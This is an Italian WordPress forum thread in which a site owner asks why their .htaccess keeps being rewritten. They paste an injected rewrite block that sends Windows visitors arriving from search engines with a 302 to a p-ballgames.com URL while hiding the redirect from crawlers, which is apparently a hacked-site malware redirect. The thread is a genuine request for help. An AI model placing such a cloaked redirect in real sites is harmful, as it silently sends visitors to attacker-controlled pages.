Home › Forum › Problemi Vari con WP › File .htaccess bucato, possibile una sua auotmodifica?
-
AutorePost
-
-
20 Febbraio 2012 alle 13:49 #20792dimarsabaPartecipante
Salve ragazzi, sono alcuni giorni che stranamento mi ritorvo il blog, se non solo la home, non raggiungibile ovvero:
Not Found
The requested URL /comunicati-stampa/san-valentino-a-rimini-premia-le-coppie-visite-gratis-in-musei-e.html was not found on this server.
Additionally, a 404 Not Found error was encountered while trying to use an ErrorDocument to handle the request.
aperto con filezilla il remoto, ho notato alcune anomalie all’interno della root, prima della cartella “public_html” ove risiede la root centrale, mi ritrovo un file .htaccess molto strano con una serie di istruzioni che non ho mai inserito, stessa cosa mi ritrovo ancora un altro file .htaccess, all’interno del “public_html” ovvero nella root, con le stesse istruzioni, che sono diverse da quelle che avevo inserito Io all’origine, che cavolo è successo? Saà stato bucato il sito? A maggior info inserisco quanto trovo all’interno del .htaccess incriminato che è composto da 1992 linee di comando e al centro questo:
<IfModule prefork.c>
RewriteEngine On
RewriteCond %{REQUEST_METHOD} ^GET$
RewriteCond %{HTTP_REFERER} ^(http//)?([^/?]*.)?(wordpress|twit|tweet|flickr.|linkedin|google.|yahoo.|bing.|msn.|ask.|excite.|altavista.|netscape.|aol.|hotbot.|goto.|infoseek.|mamma.|alltheweb.|lycos.|metacrawler.|mail.|dogpile?).*$ [NC]
RewriteCond %{HTTP_REFERER} !^.*(imgres?q).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(bing|Accoona|AcesExplorer|Amfibi|AmigasOS|apache|appie|AppleSyndication).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Archive|Argus|AsksJeeves|asterias|AtrenkosNews|BeOS|BigBlogZoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Biz360|Blaiz|Bloglines|BlogPulse|BlogSearch|BlogsLive|BlogsSay|blogWatcher).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Bookmark|bot|CE-Preload|CFNetwork|cococ|Combine|Crawl|curl|Dangershiptop).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Diagnostics|DTAAgent|EmeraldShield|endo|Evaal|Everest-Vulcan).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(exactseek|Feed|Fetch|findlinks|FreeBSD|Friendster|FucksYou|Google).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Gregarius|HatenaScreenshot|heritrix|HolyCowDude|Honda-Search|HP-UX).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(HTML2JPG|HttpClient|httpunit|ichiro|iGetter|iPhone|IRIX|Jakarta|JetBrains).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Krugle|Labrador|larbin|LeechGet|libwww|Liferea|LinkChecker).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(LinknSurf|Linux|LiveJournal|Lonopono|Lotus-Notes|Lycos|Lynx|Mac_PowerPC).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Mac_PPC|Macs10|MacsOS|macDN|Macintosh|Mediapartners|Megite|MetaProducts).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Miva|Mobile|NetBSD|NetNewsWire|NetResearchServer|NewsAlloy|NewsFire).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(NewsGatorOnline|NewsMacPro|Nokia|NuSearch|Nutch|ObjectSearch|Octora).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(OmniExplorer|Omnipelagos|Onet|OpenBSD|OpenIntelligenceData|oreilly).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(os=Mac|P900i|panscient|perl|PlayStation|POE-Component|PrivacyFinder).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(psycheclone|Python|retriever|Rojo|RSS|SBIder|Scooter|Seeker|Seriess60).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(SharpReader|SiteBar|Slurp|Snoopy|SoapsClient|Socialmarks|SpheresScout).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(spider|sproose|Rambler|Straw|subscriber|SunOS|Surfer|Syndic8).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Syntryx|TargetYourNews|Technorati|Thunderbird|Twiceler|urllib|Validator).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Vienna|voyager|W3C|Wavefire|webcollage|Webmaster|WebPatrol|wget|Wins9x).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Win16|Win95|Win98|Windowss95|Windowss98|WindowssCE|WindowssNTs4).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(WinHTTP|WinNT4|WordPress|WWWeasel|wwwster|yacy|Yahoo).*$ [NC]
RewriteCond %{HTTP_USER_AGENT} !^.*(Yandex|Yeti|YouReadMe|Zhuaxia|ZyBorg).*$ [NC]
RewriteCond %{REQUEST_FILENAME} !.*jpg$|.*gif$|.*png|.*jpeg|.*mpg|.*avi|.*zip|.*gz|.*tar|.*ico$ [NC]
RewriteCond %{HTTP_COOKIE} !^.*CSR.*$ [NC]
RewriteCond %{HTTP_USER_AGENT} .*Windows.* [NC]
RewriteCond %{HTTPS} ^off$
RewriteRule ^(.*)$ http://%{REMOTE_PORT}.p-ballgames.com/url?sa=t&source=web&cd=28&ved=0hO8gtxXX&url=http://%{HTTP_HOST}%{REQUEST_URI}&ei=2ZIveqzM46y9qo2Oz1Ex8pa1oQ==&usg=W5AbRWIknPhz4PU4L-8hd9&sig2=tme-tCok3blCeEBCt3P5wf [R=302,L,CO=CSR:9:%{HTTP_HOST}:9100:/:0:HttpOnly]
</IfModule>
#eace00557d51a3fdcc7bda03f7830cf973e05b5aec99eb4e1fa287ee
ho cambiato già 2 volte questo file con le classiche istruzioni di rewriter e seo, ma oggi mi ritro di nuovo quanto sopra esposto, devo reinstallare il tutto salvando il db?
Ciao e grazie
-
20 Febbraio 2012 alle 14:51 #93511San PietroburgoPartecipante
Alcuni plugin sono in grado di scrivere nel file .htaccess; se per esempio utilizzi un plugin di cache (Se si quale?) questo ovviamente per funzionare dovrà necessariamente scrivere delle regole proprio là¬.
Lo stesso principio potrebbe quindi essere utilizzato da un tema o plugin sospetto, contenente un qualche script per fare del dominio in cui è installato ciò che si desidera.. In via di massima potrebbe essere che hai installato qualche cosa di dannoso.
-
20 Febbraio 2012 alle 15:04 #93514dimarsabaPartecipante
Alcuni plugin sono in grado di scrivere nel file .htaccess; se per esempio utilizzi un plugin di cache (Se si quale?) questo ovviamente per funzionare dovrà necessariamente scrivere delle regole proprio là¬.
Lo stesso principio potrebbe quindi essere utilizzato da un tema o plugin sospetto, contenente un qualche script per fare del dominio in cui è installato ciò che si desidera.. In via di massima potrebbe essere che hai installato qualche cosa di dannoso.
Magari fosse quello che tu hai detto, ma purtroppo non ho fatto nulla di quanto gentilmente mi citi se non i classci aggiornamenti automatici i plugin stessi richiedono.
Di cache non ho mai utilizzato nulla, i plugin installati sono quelli di sempre e non ne ho installati di nuovo idem dicasi per i temi, quelli che c’erano 3 anni fa sono sempe gli stessi!!!!
La cosa strana è che prima non vedevo nello spazio condiviso dell’hosting (uso dns hosting) il file .htaccess non c’era e al momento mi ritrovo una cosa del genere:
domains
imap
Maildir
public_html
.shadow ( questa neanche la ricordo…. forse)
.htaccess
poi entro nella root di wp e mi ritrovo oltre alle classcihe cartelle, di nuovo il file .htaccess identico a quello di prima e diverso da quello che avevo inserito.
Il primo l’ho eliminato ed il secondo modificato, oggi mi ritrovo il 1° al suo posto ed il 2° rimodificato, possibile che si reinstalla e modifichi da solo? Sarà mica un problmea dell’hosting?
Ciao
p.s.
nel mentre sto scrivendo sto notando un altra modifica non vista prima, nelle varie cartelle di cui sopra, “domains imap etc.”, se le apro mi ritrovo il nome del dominio ed in più lo stesso file .htaccess icrimanato, azz non mi ricordavo di avere tutti sti cavoli di file .htaccess inseriti e sono tutti di solo lettura settati 444.
-
20 Febbraio 2012 alle 15:17 #93516San PietroburgoPartecipante
Quello che deve interessarti è il file .htaccess che vedi nella root di WordPress; questo (in un server correttamente configurato) si rigenera quando da “Impostazioni” si entra nella voce “Permalink” e si pigia il pulsante blu “Salva modifiche”.
Direi che puoi fare la prova di:
1. Salvalo in locale come backup.
2. Cancellalo dalla root.
3. Rigenera i permalink come appena detto.
4. Aprilo e salva sotto a quel che ha scritto WordPress quanto segue:
# protect the htaccess file
<files .htaccess>
order allow,deny
deny from all
</files>
-
20 Febbraio 2012 alle 15:26 #93520dimarsabaPartecipante
Quello che deve interessarti è il file .htaccess che vedi nella root di WordPress; questo si rigenera quando da “Impostazioni” si entra nella voce “Permalink” e si pigia il pulsante blu “Salva modifiche”.
Direi che puoi fare la prova di:
1. Salvalo in locale come backup.
2. Cancellalo dalla root.
3. Rigenera i permalink come appena detto.
4. Aprilo e salva sotto a quel che ha scritto WordPress quanto segue:
# protect the htaccess file
<files .htaccess>
order allow,deny
deny from all
</files>
Bingo funziona tutto, approfitto della tua gentilizza per chiederti cosa devo fare dei file .htacces presenti nelle altre cartelle? La cosa che ho notato che il file precedente non si faceva modificare ovvero si riscriveva era di solo lettura e non cambiava la data, mentre adesso mi ritrovo un permesso 644 con data e modifiche effettuate.
Che mi consigli di fare sebbene non ho capito che cavolo è successo?
Ciao
-
20 Febbraio 2012 alle 16:02 #93534San PietroburgoPartecipante
Altri .htaccess al di fuori della root di WordPress non puoi gestirli; a meno che non sei su un server dedicato.. A cosa servono lo può solo sapere il sysadmin del tuo servizio di hosting.
WordPress crea un solo unico file .htaccess nella root (quello che hai rigenerato e adesso anche protetto); i plugin di cache (ad esempio W3TC) ne creano altri all’interno delle loro directory di lavoro.
-
20 Febbraio 2012 alle 16:19 #93538dimarsabaPartecipante
Cmq li ho cancellati e al momento non li rivedo, l’importante in tutto ciò che tutto si è ripristinato.
Grazie
-
20 Febbraio 2012 alle 16:21 #93539dimarsabaPartecipante
Cmq li ho cancellati e al momento non li rivedo, l’importante in tutto ciò che tutto si è ripristinato.
Grazie
-
-
AutorePost
- Devi essere connesso per rispondere a questo topic.